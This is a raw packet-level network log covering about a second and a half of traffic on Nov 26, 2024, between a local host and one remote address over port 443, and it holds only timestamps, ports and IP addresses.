Nov 26, 2024 08:12:18.264482021 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.273854017 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.273863077 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.273920059 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.273933887 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.285017014 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.285029888 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.285124063 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.285137892 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.293632030 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.293642998 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.293684959 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.293699980 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.293735027 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.334661007 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.404841900 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.404855967 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.404871941 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.404925108 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.405002117 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.405010939 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.411777973 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.411787987 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.411803961 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.411847115 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.411855936 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.411891937 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.420989990 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.420999050 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.421067953 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.421076059 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.427692890 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.427701950 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.427763939 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.427773952 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.442537069 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.442548037 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.442573071 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.442581892 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.442677021 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.442677021 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.442699909 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.457612038 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.457644939 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.457705021 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.457715988 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.457766056 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.471592903 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.471636057 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.471683025 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.471695900 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.471740007 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.484517097 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.484565020 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.484606981 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.484627008 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.484673977 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.599924088 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.599957943 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.600075960 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.600109100 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.600189924 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.611474037 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.611505985 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.611649990 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.611675978 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.611776114 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.622306108 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.622345924 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.622431993 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.622447014 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.622514009 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.622529984 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.633618116 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.633670092 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.633754015 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.633779049 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.633841038 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.633860111 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.643403053 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.643450022 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.643553019 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.643578053 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.643620968 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.643642902 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.653944969 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.653986931 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.654043913 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.654066086 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.654131889 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.654151917 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.665160894 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.665195942 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.665258884 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.665282011 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.665334940 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.665354967 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.676321030 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.676347971 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.676394939 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.676407099 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.676561117 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.790740967 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.790767908 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.790930033 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.790960073 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.791007042 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.799860001 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.799877882 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.800031900 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.800040960 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.800096989 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.808377028 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.808396101 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.808506966 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.808515072 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.808588982 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.815890074 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.815907955 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.815959930 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.815968037 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.816028118 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.824434042 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.824479103 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.824521065 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.824527025 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.824563026 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.824582100 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.832473040 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.832508087 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.832546949 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.832556009 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.832588911 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.832624912 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.840817928 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.840841055 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.840907097 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.840920925 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.840949059 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.840967894 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.851721048 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.851741076 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.851807117 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.851815939 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.851878881 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.982218981 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.982244015 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.982429028 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.982445955 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.982501984 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.990051985 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.990091085 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.990197897 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.990216017 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.990242958 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.990256071 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.997694969 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.997716904 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.997844934 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.997864008 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.997910976 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.005530119 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.005565882 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.005631924 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.005644083 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.005672932 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.005685091 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.012315035 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.012339115 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.012438059 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.012459993 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.012533903 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.019546032 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.019570112 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.019623041 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.019629955 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.019655943 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.019671917 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.027415991 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.027435064 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.027478933 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.027484894 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.027510881 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.027528048 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.043471098 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.043488979 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.043546915 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.043555975 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.043596983 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.174524069 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.174551964 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.174726963 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.174757957 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.177134037 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.182190895 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.182218075 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.182313919 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.182323933 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.182348967 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.182360888 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.190033913 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.190054893 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.190164089 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.190175056 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.193279982 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.196821928 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.196858883 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.197043896 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.197052002 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.197163105 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.204518080 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.204552889 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.204658985 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.204669952 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.204714060 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.204739094 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.211890936 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.211915016 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.212002993 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.212012053 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.213072062 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.219599009 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.219615936 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.219742060 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.219772100 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.221107006 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.235510111 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.235528946 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.235629082 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.235640049 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.235841036 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.366159916 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.366179943 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.366357088 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.366385937 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.367171049 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.374331951 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.374350071 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.374440908 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.374461889 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.374675035 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.381681919 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.381700993 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.381838083 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.381855011 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.382095098 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.389502048 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.389519930 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.389633894 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.389647961 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.390471935 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.396384954 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.396404982 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.396491051 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.396506071 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.396711111 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.403676033 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.403707027 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.403796911 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.403808117 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.403820038 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.403850079 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.411405087 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.411423922 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.411571026 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.411581039 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.411750078 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.427787066 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.427804947 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.427923918 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.427933931 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.428693056 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.558403015 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.558432102 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.558649063 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.558682919 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.558919907 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.566121101 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.566158056 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.566240072 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.566240072 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.566267967 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.566333055 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.573918104 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.573941946 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.574162006 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.574181080 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.574234009 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.581142902 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.581176043 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.581254959 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.581254959 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.581271887 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.581440926 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.588876963 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.588908911 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.588988066 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.588988066 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.589006901 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.589209080 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.596112013 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.596139908 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.596189022 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.596203089 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.596220970 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.596335888 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.604743004 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.604763031 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.604844093 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.604844093 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.604862928 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.604965925 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.619765997 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.619786024 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.619978905 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.619999886 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.620079994 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.751101017 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.751130104 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.751271009 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.751271009 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.751288891 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.751658916 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.759346008 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.759363890 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.759525061 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.759541035 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.759675980 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.766037941 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.766055107 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.766215086 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.766226053 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.766374111 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.773363113 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.773380041 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.773503065 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.773515940 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.773601055 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:19.779160023 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:19.779215097 CET	443	49729	13.107.136.10	192.168.2.9
